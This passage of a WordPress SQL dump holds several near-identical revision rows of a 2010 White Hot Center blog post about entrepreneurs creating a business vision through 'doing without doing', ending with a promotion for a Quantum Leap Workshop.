(1159, 2, '2010-10-18 17:11:42', '2010-10-19 00:11:42', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to the goal. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, you create your future. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only your deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something is dropped, Less and less do you need to force things until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance.  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-7', '', '', '2010-10-18 17:11:42', '2010-10-19 00:11:42', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-7/', 0, 'revision', '', 0),
(1160, 2, '2010-10-18 17:16:48', '2010-10-19 00:16:48', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to the goal. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, you create your future. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-8', '', '', '2010-10-18 17:16:48', '2010-10-19 00:16:48', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-8/', 0, 'revision', '', 0);
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(1161, 2, '2010-10-18 17:17:00', '2010-10-19 00:17:00', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to the goal. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, you create your future. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-9', '', '', '2010-10-18 17:17:00', '2010-10-19 00:17:00', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-9/', 0, 'revision', '', 0),
(1162, 2, '2010-10-18 17:19:37', '2010-10-19 00:19:37', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-10', '', '', '2010-10-18 17:19:37', '2010-10-19 00:19:37', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-10/', 0, 'revision', '', 0),
(1163, 2, '2010-10-18 17:19:47', '2010-10-19 00:19:47', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-11', '', '', '2010-10-18 17:19:47', '2010-10-19 00:19:47', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-11/', 0, 'revision', '', 0),
(1164, 2, '2010-10-18 17:26:36', '2010-10-19 00:26:36', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-12', '', '', '2010-10-18 17:26:36', '2010-10-19 00:26:36', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-12/', 0, 'revision', '', 0),
(1165, 2, '2010-10-18 17:27:17', '2010-10-19 00:27:17', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-13', '', '', '2010-10-18 17:27:17', '2010-10-19 00:27:17', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-13/', 0, 'revision', '', 0),
(1166, 2, '2010-10-18 17:27:30', '2010-10-19 00:27:30', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-14', '', '', '2010-10-18 17:27:30', '2010-10-19 00:27:30', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-14/', 0, 'revision', '', 0),
(1167, 2, '2010-10-18 17:27:37', '2010-10-19 00:27:37', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out 